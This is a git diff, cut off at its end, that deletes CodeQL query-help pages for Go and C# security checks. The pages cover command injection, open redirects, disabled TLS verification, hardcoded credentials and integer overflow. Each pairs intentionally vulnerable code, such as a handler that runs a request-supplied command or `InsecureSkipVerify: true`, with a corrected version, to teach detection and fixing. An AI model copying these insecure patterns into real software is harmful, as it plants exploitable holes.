destination output directory, again using `Path.GetFullPath`, this time on the output directory. Finally, we need to ensure that the resolved output starts with the resolved destination directory, and throw an exception if this is not the case. - - -```csharp -using System.IO; -using System.IO.Compression; - -class Good -{ - public static void WriteToDirectory(ZipArchiveEntry entry, - string destDirectory) - { - string destFileName = Path.GetFullPath(Path.Combine(destDirectory, entry.FullName)); - string fullDestDirPath = Path.GetFullPath(destDirectory + Path.DirectorySeparatorChar); - if (!destFileName.StartsWith(fullDestDirPath)) { - throw new System.InvalidOperationException("Entry is outside the target dir: " + - destFileName); - } - entry.ExtractToFile(destFileName); - } -} - -``` - -## References -* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/go/AllocationSizeOverflow.md b/docs/language/query-help/go/AllocationSizeOverflow.md deleted file mode 100644 index f24c939d540..00000000000 --- a/docs/language/query-help/go/AllocationSizeOverflow.md +++ /dev/null @@ -1,78 +0,0 @@ -# Size computation for allocation may overflow - -``` -ID: go/allocation-size-overflow -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-190 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-190/AllocationSizeOverflow.ql) - -Performing calculations involving the size of potentially large strings or slices can result in an overflow (for signed integer types) or a wraparound (for unsigned types). An overflow causes the result of the calculation to become negative, while a wraparound results in a small (positive) number. - -This can cause further issues. If, for example, the result is then used in an allocation, it will cause a runtime panic if it is negative, and allocate an unexpectedly small buffer otherwise. - - -## Recommendation -Always guard against overflow in arithmetic operations involving potentially large numbers by doing one of the following: - -* Validate the size of the data from which the numbers are computed. -* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type. -* Use a wider type (such as `uint64` instead of `int`), so that larger input values do not cause overflow. - -## Example -In the following example, assume that there is a function `encryptBuffer` that encrypts byte slices whose length must be padded to be a multiple of 16. The function `encryptValue` provides a convenience wrapper around this function: when passed an arbitrary value, it first encodes that value as JSON, pads the resulting byte slice, and then passes it to `encryptBuffer`. - - -```go -package main - -import "encoding/json" - -func encryptValue(v interface{}) ([]byte, error) { - jsonData, err := json.Marshal(v) - if err != nil { - return nil, err - } - size := len(jsonData) + (len(jsonData) % 16) - buffer := make([]byte, size) - copy(buffer, jsonData) - return encryptBuffer(buffer) -} - -``` -When passed a value whose JSON encoding is close to the maximum value of type `int` in length, the computation of `size` will overflow, producing a negative value. When that negative value is passed to `make`, a runtime panic will occur. - -To guard against this, the function should be improved to check the length of the JSON-encoded value. For example, here is a version of `encryptValue` that ensures the value is no larger than 64 MB, which fits comfortably within an `int` and avoids the overflow: - - -```go -package main - -import ( - "encoding/json" - "errors" -) - -func encryptValueGood(v interface{}) ([]byte, error) { - jsonData, err := json.Marshal(v) - if err != nil { - return nil, err - } - if len(jsonData) > 64*1024*1024 { - return nil, errors.New("value too large") - } - size := len(jsonData) + (len(jsonData) % 16) - buffer := make([]byte, size) - copy(buffer, jsonData) - return encryptBuffer(buffer) -} - -``` - -## References -* The Go Programming Language Specification: [Integer overflow](https://golang.org/ref/spec#Integer_overflow). -* The Go Programming Language Specification: [Making slices, maps and channels](https://golang.org/ref/spec#Making_slices_maps_and_channels). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). \ No newline at end of file diff --git a/docs/language/query-help/go/BadRedirectCheck.md b/docs/language/query-help/go/BadRedirectCheck.md deleted file mode 100644 index 82ae479ee64..00000000000 --- a/docs/language/query-help/go/BadRedirectCheck.md +++ /dev/null @@ -1,52 +0,0 @@ -# Bad redirect check - -``` -ID: go/bad-redirect-check -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-601/BadRedirectCheck.ql) - -Redirect URLs should be checked to ensure that user input cannot cause a site to redirect to arbitrary domains. This is often done with a check that the redirect URL begins with a slash, which most of the time is an absolute redirect on the same host. However, browsers interpret URLs beginning with `//` or `/\` as absolute URLs. For example, a redirect to `//lgtm.com` will redirect to `https://lgtm.com`. Thus, redirect checks must also check the second character of redirect URLs. - - -## Recommendation -Also disallow redirect URLs starting with `//` or `/\`. - - -## Example -The following function validates a (presumably untrusted) redirect URL `redir`. If it does not begin with `/`, the harmless placeholder redirect URL `/` is returned to prevent an open redirect; otherwise `redir` itself is returned. - - -```go -package main - -func sanitizeUrl(redir string) string { - if len(redir) > 0 && redir[0] == '/' { - return redir - } - return "/" -} - -``` -While this check provides partial protection, it should be extended to cover `//` and `/\` as well: - - -```go -package main - -func sanitizeUrl1(redir string) string { - if len(redir) > 1 && redir[0] == '/' && redir[1] != '/' && redir[1] != '\\' { - return redir - } - return "/" -} - -``` - -## References -* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#validating-urls). -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/go/CleartextLogging.md b/docs/language/query-help/go/CleartextLogging.md deleted file mode 100644 index 8faed5d3082..00000000000 --- a/docs/language/query-help/go/CleartextLogging.md +++ /dev/null @@ -1,81 +0,0 @@ -# Clear-text logging of sensitive information - -``` -ID: go/clear-text-logging -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-312/CleartextLogging.ql) - -Sensitive information that is logged unencrypted is accessible to an attacker who gains access to the logs. - - -## Recommendation -Ensure that sensitive information is always encrypted or obfuscated before being logged. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - -Be aware that external processes often store the standard out and standard error streams of the application, causing logged sensitive information to be stored. - - -## Example -The following example code logs user credentials (in this case, their password) in plain text: - - -```go -package main - -import ( - "log" - "net/http" -) - -func serve() { - http.HandleFunc("/register", func(w http.ResponseWriter, r *http.Request) { - r.ParseForm() - user := r.Form.Get("user") - pw := r.Form.Get("password") - - log.Printf("Registering new user %s with password %s.\n", user, pw) - }) - http.ListenAndServe(":80", nil) -} - -``` -Instead, the credentials should be encrypted, obfuscated, or omitted entirely: - - -```go -package main - -import ( - "log" - "net/http" -) - -func serve1() { - http.HandleFunc("/register", func(w http.ResponseWriter, r *http.Request) { - r.ParseForm() - user := r.Form.Get("user") - pw := r.Form.Get("password") - - log.Printf("Registering new user %s.\n", user) - - // ... - use(pw) - }) - http.ListenAndServe(":80", nil) -} - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* OWASP: [Password Plaintext Storage](https://www.owasp.org/index.php/Password_Plaintext_Storage). -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/go/CommandInjection.md b/docs/language/query-help/go/CommandInjection.md deleted file mode 100644 index fb746dedd32..00000000000 --- a/docs/language/query-help/go/CommandInjection.md +++ /dev/null @@ -1,46 +0,0 @@ -# Command built from user-controlled sources - -``` -ID: go/command-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-078 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-078/CommandInjection.ql) - -If a system command invocation is built from user-provided data without sufficient sanitization, a malicious user may be able to run commands to exfiltrate data or compromise the system. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run. Instead of interpreting user input directly as command names, examine the input and then choose among hard-coded string literals. - -If this is not possible, then add sanitization code to verify that the user input is safe before using it. - - -## Example -In the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object: - - -```go -package main - -import ( - "net/http" - "os/exec" -) - -func handler(req *http.Request) { - cmdName := req.URL.Query()["cmd"][0] - cmd := exec.Command(cmdName) - cmd.Run() -} - -``` -The handler extracts the name of a system command from the request object, and then runs it without any further checks, which can cause a command-injection vulnerability. - - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). \ No newline at end of file diff --git a/docs/language/query-help/go/ConstantOauth2State.md b/docs/language/query-help/go/ConstantOauth2State.md deleted file mode 100644 index b306636f7ec..00000000000 --- a/docs/language/query-help/go/ConstantOauth2State.md +++ /dev/null @@ -1,96 +0,0 @@ -# Use of constant `state` value in OAuth 2.0 URL - -``` -ID: go/constant-oauth2-state -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-352 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-352/ConstantOauth2State.ql) - -OAuth 2.0 clients must implement CSRF protection for the redirection URI, which is typically accomplished by including a "state" value that binds the request to the user's authenticated state. The Go OAuth 2.0 library allows you to specify a "state" value which is then included in the auth code URL. That state is then provided back by the remote authentication server in the redirect callback, from where it must be validated. Failure to do so makes the client susceptible to an CSRF attack. - - -## Recommendation -Always include a unique, non-guessable `state` value (provided to the call to `AuthCodeURL` function) that is also bound to the user's authenticated state with each authentication request, and then validated in the redirect callback. - - -## Example -The first example shows you the use of a constant state (bad). - - -```go -package main - -import ( - "golang.org/x/oauth2" -) - -func main() {} - -var stateStringVar = "state" - -func badWithStringLiteralState() { - conf := &oauth2.Config{ - ClientID: "YOUR_CLIENT_ID", - ClientSecret: "YOUR_CLIENT_SECRET", - Scopes: []string{"SCOPE1", "SCOPE2"}, - Endpoint: oauth2.Endpoint{ - AuthURL: "https://provider.com/o/oauth2/auth", - TokenURL: "https://provider.com/o/oauth2/token", - }, - } - - url := conf.AuthCodeURL(stateStringVar) - // ... -} - -``` -The second example shows a better implementation idea. - - -```go -package main - -import ( - "crypto/rand" - "encoding/base64" - "net/http" - - "golang.org/x/oauth2" -) - -func betterWithVariableStateReturned(w http.ResponseWriter) { - conf := &oauth2.Config{ - ClientID: "YOUR_CLIENT_ID", - ClientSecret: "YOUR_CLIENT_SECRET", - Scopes: []string{"SCOPE1", "SCOPE2"}, - Endpoint: oauth2.Endpoint{ - AuthURL: "https://provider.com/o/oauth2/auth", - TokenURL: "https://provider.com/o/oauth2/token", - }, - } - - state := generateStateOauthCookie(w) - url := conf.AuthCodeURL(state) - _ = url - // ... -} -func generateStateOauthCookie(w http.ResponseWriter) string { - b := make([]byte, 128) - rand.Read(b) - // TODO: save the state string to cookies or HTML storage, - // and bind it to the authenticated status of the user. - state := base64.URLEncoding.EncodeToString(b) - - return state -} - -``` - -## References -* IETF: [The OAuth 2.0 Authorization Framework](https://tools.ietf.org/html/rfc6749#section-10.12) -* IETF: [OAuth 2.0 Security Best Current Practice](https://tools.ietf.org/html/draft-ietf-oauth-security-topics-15#section-2.1) -* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/go/DisabledCertificateCheck.md b/docs/language/query-help/go/DisabledCertificateCheck.md deleted file mode 100644 index 7cf1b127600..00000000000 --- a/docs/language/query-help/go/DisabledCertificateCheck.md +++ /dev/null @@ -1,48 +0,0 @@ -# Disabled TLS certificate check - -``` -ID: go/disabled-certificate-check -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-295 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-295/DisabledCertificateCheck.ql) - -The field `InsecureSkipVerify` controls whether a TLS client verifies the server's certificate chain and host name. If set to `true`, the client will accept any certificate and any host name in that certificate, making it susceptible to man-in-the-middle attacks. - - -## Recommendation -Do not set `InsecureSkipVerify` to `true` except in tests. - - -## Example -The following code snippet shows a function that performs an HTTP request over TLS with certificate verification disabled: - - -```go -package main - -import ( - "crypto/tls" - "net/http" -) - -func doAuthReq(authReq *http.Request) *http.Response { - tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - } - client := &http.Client{Transport: tr} - res, _ := client.Do(authReq) - return res -} - -``` -While this is acceptable in a test, it should not be used in production code. Instead, certificates should be configured such that verification can be performed. - - -## References -* Package tls: [Config](https://golang.org/pkg/crypto/tls/#Config). -* SSL.com: [Browsers and Certificate Validation](https://www.ssl.com/article/browsers-and-certificate-validation/). -* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html). \ No newline at end of file diff --git a/docs/language/query-help/go/EmailInjection.md b/docs/language/query-help/go/EmailInjection.md deleted file mode 100644 index 80fe4ea33a4..00000000000 --- a/docs/language/query-help/go/EmailInjection.md +++ /dev/null @@ -1,66 +0,0 @@ -# Email content injection - -``` -ID: go/email-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-640 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-640/EmailInjection.ql) - -Using untrusted input to construct an email can cause multiple security vulnerabilities. For instance, inclusion of an untrusted input in an email body may allow an attacker to conduct cross-site scripting (XSS) attacks, while inclusion of an HTTP header may allow a full account compromise as shown in the example below. - - -## Recommendation -Any data which is passed to an email subject or body must be sanitized before use. - - -## Example -In the following example snippet, the `host` field is user controlled. - -A malicious user can send an HTTP request to the targeted website, but with a Host header that refers to their own website. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious website. - -If the email contains a password reset link, and the victim clicks the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password. - - -```go -package main - -import ( - "net/http" - "net/smtp" -) - -func mail(w http.ResponseWriter, r *http.Request) { - host := r.Header.Get("Host") - token := backend.getUserSecretResetToken(email) - body := "Click to reset password: " + host + "/" + token - smtp.SendMail("test.test", nil, "from@from.com", nil, []byte(body)) -} - -``` -One way to prevent this is to load the host name from a trusted configuration file instead. - - -```go -package main - -import ( - "net/http" - "net/smtp" -) - -func mailGood(w http.ResponseWriter, r *http.Request) { - host := config.Get("Host") - token := backend.getUserSecretResetToken(email) - body := "Click to reset password: " + host + "/" + token - smtp.SendMail("test.test", nil, "from@from.com", nil, []byte(body)) -} - -``` - -## References -* OWASP: [Content Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) . -* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html). \ No newline at end of file diff --git a/docs/language/query-help/go/HardcodedCredentials.md b/docs/language/query-help/go/HardcodedCredentials.md deleted file mode 100644 index 37dc470366d..00000000000 --- a/docs/language/query-help/go/HardcodedCredentials.md +++ /dev/null @@ -1,56 +0,0 @@ -# Hard-coded credentials - -``` -ID: go/hardcoded-credentials -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-798/HardcodedCredentials.ql) - -Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information. - - -## Recommendation -Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. - - -## Example -The following code example connects to a Postgres database using the `lib/pq` package and hard-codes user name and password: - - -```go -package main - -import ( - "database/sql" - "fmt" - - _ "github.com/lib/pq" -) - -const ( - user = "dbuser" - password = "s3cretp4ssword" -) - -func connect() *sql.DB { - connStr := fmt.Sprintf("postgres://%s:%s@localhost/pqgotest", user, password) - db, err := sql.Open("postgres", connStr) - if err != nil { - return nil - } - return db -} - -``` -Instead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code. - - -## References -* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). -* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). -* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). -* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/go/IncompleteHostnameRegexp.md b/docs/language/query-help/go/IncompleteHostnameRegexp.md deleted file mode 100644 index eb3e7d79ecd..00000000000 --- a/docs/language/query-help/go/IncompleteHostnameRegexp.md +++ /dev/null @@ -1,75 +0,0 @@ -# Incomplete regular expression for hostnames - -``` -ID: go/incomplete-hostname-regexp -Kind: path-problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-020/IncompleteHostnameRegexp.ql) - -Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts. - -If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping regular-expression meta-characters such as `.`. - -Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behavior when it accidentally succeeds. - - -## Recommendation -Escape all meta-characters appropriately when constructing regular expressions for security checks, paying special attention to the `.` meta-character. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains. - - -```go -package main - -import ( - "errors" - "net/http" - "regexp" -) - -func checkRedirect(req *http.Request, via []*http.Request) error { - // BAD: the host of `req.URL` may be controlled by an attacker - re := "^((www|beta).)?example.com/" - if matched, _ := regexp.MatchString(re, req.URL.Host); matched { - return nil - } - return errors.New("Invalid redirect") -} - -``` -The check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`. - -Address this vulnerability by escaping `.` appropriately: - - -```go -package main - -import ( - "errors" - "net/http" - "regexp" -) - -func checkRedirectGood(req *http.Request, via []*http.Request) error { - // GOOD: the host of `req.URL` must be `example.com`, `www.example.com` or `beta.example.com` - re := "^((www|beta)\\.)?example\\.com/" - if matched, _ := regexp.MatchString(re, req.URL.Host); matched { - return nil - } - return errors.New("Invalid redirect") -} - -``` - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/go/IncompleteUrlSchemeCheck.md b/docs/language/query-help/go/IncompleteUrlSchemeCheck.md deleted file mode 100644 index c2c45b418fe..00000000000 --- a/docs/language/query-help/go/IncompleteUrlSchemeCheck.md +++ /dev/null @@ -1,60 +0,0 @@ -# Incomplete URL scheme check - -``` -ID: go/incomplete-url-scheme-check -Kind: problem -Severity: warning -Precision: high -Tags: security correctness external/cwe/cwe-020 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-020/IncompleteUrlSchemeCheck.ql) - -URLs with the special scheme `javascript` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript` scheme. - -However, the `data` and `vbscript` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript`, but not against `data` and `vbscript`, is likely to be insufficient. - - -## Recommendation -Add checks covering both `data:` and `vbscript:`. - - -## Example -The following function validates a (presumably untrusted) URL `urlstr`. If its scheme is `javascript`, the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `urlstr` itself is returned. - - -```go -package main - -import "net/url" - -func sanitizeUrl(urlstr string) string { - u, err := url.Parse(urlstr) - if err != nil || u.Scheme == "javascript" { - return "about:blank" - } - return urlstr -} - -``` -While this check provides partial projection, it should be extended to cover `data` and `vbscript` as well: - - -```go -package main - -import "net/url" - -func sanitizeUrlGod(urlstr string) string { - u, err := url.Parse(urlstr) - if err != nil || u.Scheme == "javascript" || u.Scheme == "data" || u.Scheme == "vbscript" { - return "about:blank" - } - return urlstr -} - -``` - -## References -* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/go/IncorrectIntegerConversion.md b/docs/language/query-help/go/IncorrectIntegerConversion.md deleted file mode 100644 index afde852498a..00000000000 --- a/docs/language/query-help/go/IncorrectIntegerConversion.md +++ /dev/null @@ -1,207 +0,0 @@ -# Incorrect conversion between integer types - -``` -ID: go/incorrect-integer-conversion -Kind: path-problem -Severity: warning -Precision: very-high -Tags: security external/cwe/cwe-190 external/cwe/cwe-681 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-681/IncorrectIntegerConversion.ql) - -If a string is parsed into an int using `strconv.Atoi`, and subsequently that int is converted into another integer type of a smaller size, the result can produce unexpected values. - -This also applies to the results of `strconv.ParseInt` and `strconv.ParseUint` when the specified size is larger than the size of the type that number is converted to. - - -## Recommendation -If you need to parse integer values with specific bit sizes, avoid `strconv.Atoi`, and instead use `strconv.ParseInt` or `strconv.ParseUint`, which also allow specifying the bit size. - -When using those functions, be careful to not convert the result to another type with a smaller bit size than the bit size you specified when parsing the number. - -If this is not possible, then add upper (and lower) bound checks specific to each type and bit size (you can find the minimum and maximum value for each type in the `math` package). - - -## Example -In the first example, assume that an input string is passed to `parseAllocateBad1` function, parsed by `strconv.Atoi`, and then converted into an `int32` type: - - -```go -package main - -import ( - "strconv" -) - -func parseAllocateBad1(wanted string) int32 { - parsed, err := strconv.Atoi(wanted) - if err != nil { - panic(err) - } - return int32(parsed) -} -func parseAllocateBad2(wanted string) int32 { - parsed, err := strconv.ParseInt(wanted, 10, 64) - if err != nil { - panic(err) - } - return int32(parsed) -} - -``` -The bounds are not checked, so this means that if the provided number is greater than the maximum value of type `int32`, the resulting value from the conversion will be different from the actual provided value. - -To avoid unexpected values, you should either use the other functions provided by the `strconv` package to parse the specific types and bit sizes as shown in the `parseAllocateGood2` function; or check bounds as in the `parseAllocateGood1` function. - - -```go -package main - -import ( - "math" - "strconv" -) - -func main() { - -} - -const DefaultAllocate int32 = 256 - -func parseAllocateGood1(desired string) int32 { - parsed, err := strconv.Atoi(desired) - if err != nil { - return DefaultAllocate - } - // GOOD: check for lower and upper bounds - if parsed > 0 && parsed <= math.MaxInt32 { - return int32(parsed) - } - return DefaultAllocate -} -func parseAllocateGood2(desired string) int32 { - // GOOD: parse specifying the bit size - parsed, err := strconv.ParseInt(desired, 10, 32) - if err != nil { - return DefaultAllocate - } - return int32(parsed) -} - -func parseAllocateGood3(wanted string) int32 { - parsed, err := strconv.ParseInt(wanted, 10, 32) - if err != nil { - panic(err) - } - return int32(parsed) -} -func parseAllocateGood4(wanted string) int32 { - parsed, err := strconv.ParseInt(wanted, 10, 64) - if err != nil { - panic(err) - } - // GOOD: check for lower and uppper bounds - if parsed > 0 && parsed <= math.MaxInt32 { - return int32(parsed) - } - return DefaultAllocate -} - -``` - -## Example -In the second example, assume that an input string is passed to `parseAllocateBad2` function, parsed by `strconv.ParseInt` with a bit size set to 64, and then converted into an `int32` type: - - -```go -package main - -import ( - "strconv" -) - -func parseAllocateBad1(wanted string) int32 { - parsed, err := strconv.Atoi(wanted) - if err != nil { - panic(err) - } - return int32(parsed) -} -func parseAllocateBad2(wanted string) int32 { - parsed, err := strconv.ParseInt(wanted, 10, 64) - if err != nil { - panic(err) - } - return int32(parsed) -} - -``` -If the provided number is greater than the maximum value of type `int32`, the resulting value from the conversion will be different from the actual provided value. - -To avoid unexpected values, you should specify the correct bit size as in `parseAllocateGood3`; or check bounds before making the conversion as in `parseAllocateGood4`. - - -```go -package main - -import ( - "math" - "strconv" -) - -func main() { - -} - -const DefaultAllocate int32 = 256 - -func parseAllocateGood1(desired string) int32 { - parsed, err := strconv.Atoi(desired) - if err != nil { - return DefaultAllocate - } - // GOOD: check for lower and upper bounds - if parsed > 0 && parsed <= math.MaxInt32 { - return int32(parsed) - } - return DefaultAllocate -} -func parseAllocateGood2(desired string) int32 { - // GOOD: parse specifying the bit size - parsed, err := strconv.ParseInt(desired, 10, 32) - if err != nil { - return DefaultAllocate - } - return int32(parsed) -} - -func parseAllocateGood3(wanted string) int32 { - parsed, err := strconv.ParseInt(wanted, 10, 32) - if err != nil { - panic(err) - } - return int32(parsed) -} -func parseAllocateGood4(wanted string) int32 { - parsed, err := strconv.ParseInt(wanted, 10, 64) - if err != nil { - panic(err) - } - // GOOD: check for lower and uppper bounds - if parsed > 0 && parsed <= math.MaxInt32 { - return int32(parsed) - } - return DefaultAllocate -} - -``` - -## References -* Wikipedia [Integer overflow](https://en.wikipedia.org/wiki/Integer_overflow). -* Go language specification [Integer overflow](https://golang.org/ref/spec#Integer_overflow). -* Documentation for [strconv.Atoi](https://golang.org/pkg/strconv/#Atoi). -* Documentation for [strconv.ParseInt](https://golang.org/pkg/strconv/#ParseInt). -* Documentation for [strconv.ParseUint](https://golang.org/pkg/strconv/#ParseUint). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/go/InsecureHostKeyCallback.md b/docs/language/query-help/go/InsecureHostKeyCallback.md deleted file mode 100644 index 24e639c77b6..00000000000 --- a/docs/language/query-help/go/InsecureHostKeyCallback.md +++ /dev/null @@ -1,87 +0,0 @@ -# Use of insecure HostKeyCallback implementation - -``` -ID: go/insecure-hostkeycallback -Kind: path-problem -Severity: warning -Precision: high -Tags: security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-322/InsecureHostKeyCallback.ql) - -The `ClientConfig` specifying the configuration for establishing a SSH connection has a field `HostKeyCallback` that must be initialized with a function that validates the host key returned by the server. - -Not properly verifying the host key returned by a server provides attackers with an opportunity to perform a Machine-in-the-Middle (MitM) attack. A successful attack can compromise the confidentiality and integrity of the information communicated with the server. - -The `ssh` package provides the predefined callback `InsecureIgnoreHostKey` that can be used during development and testing. It accepts any provided host key. This callback, or a semantically similar callback, should not be used in production code. - - -## Recommendation -The `HostKeyCallback` field of `ClientConfig` should be initialized with a function that validates a host key against an allow list. If a key is not on a predefined allow list, the connection must be terminated and the failed security operation should be logged. - -When the allow list contains only a single host key then the function `FixedHostKey` can be used. - - -## Example -The following example shows the use of `InsecureIgnoreHostKey` and an insecure host key callback implemention commonly used in non-production code. - - -```go -package main - -import ( - "golang.org/x/crypto/ssh" - "net" -) - -func main() {} - -func insecureIgnoreHostKey() { - _ = &ssh.ClientConfig{ - User: "username", - Auth: []ssh.AuthMethod{nil}, - HostKeyCallback: ssh.InsecureIgnoreHostKey(), - } -} - -func insecureHostKeyCallback() { - _ = &ssh.ClientConfig{ - User: "username", - Auth: []ssh.AuthMethod{nil}, - HostKeyCallback: ssh.HostKeyCallback( - func(hostname string, remote net.Addr, key ssh.PublicKey) error { - return nil - }), - } -} - -``` -The next example shows a secure implementation using the `FixedHostKey` that implements an allow-list. - - -```go -package main - -import ( - "golang.org/x/crypto/ssh" - "io/ioutil" -) - -func main() {} - -func secureHostKeyCallback() { - publicKeyBytes, _ := ioutil.ReadFile("allowed_hostkey.pub") - publicKey, _ := ssh.ParsePublicKey(publicKeyBytes) - - _ = &ssh.ClientConfig{ - User: "username", - Auth: []ssh.AuthMethod{nil}, - HostKeyCallback: ssh.FixedHostKey(publicKey), - } -} - -``` - -## References -* Go Dev: [package ssh](https://pkg.go.dev/golang.org/x/crypto/ssh?tab=doc). \ No newline at end of file diff --git a/docs/language/query-help/go/InsecureTLS.md b/docs/language/query-help/go/InsecureTLS.md deleted file mode 100644 index fc494c46611..00000000000 --- a/docs/language/query-help/go/InsecureTLS.md +++ /dev/null @@ -1,84 +0,0 @@ -# Insecure TLS configuration - -``` -ID: go/insecure-tls -Kind: path-problem -Severity: warning -Precision: very-high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-327/InsecureTLS.ql) - -The TLS (Transport Layer Security) protocol secures communications over the Internet. The protocol allows client/server applications to communicate in a way that is designed to prevent eavesdropping, tampering, or message forgery. - -The current latest version is 1.3 (with the 1.2 version still being considered secure). Older versions are not deemed to be secure anymore because of various security vulnerabilities, and tht makes them unfit for use in securing your applications. - -Unfortunately, many applications and websites still support deprecated SSL/TLS versions and cipher suites. - - -## Recommendation -Only use secure TLS versions (1.3 and 1.2) and avoid using insecure cipher suites (you can see a list here: https://golang.org/src/crypto/tls/cipher_suites.go#L81) - - -## Example -The following example shows a few ways how an insecure TLS configuration can be created: - - -```go -package main - -import 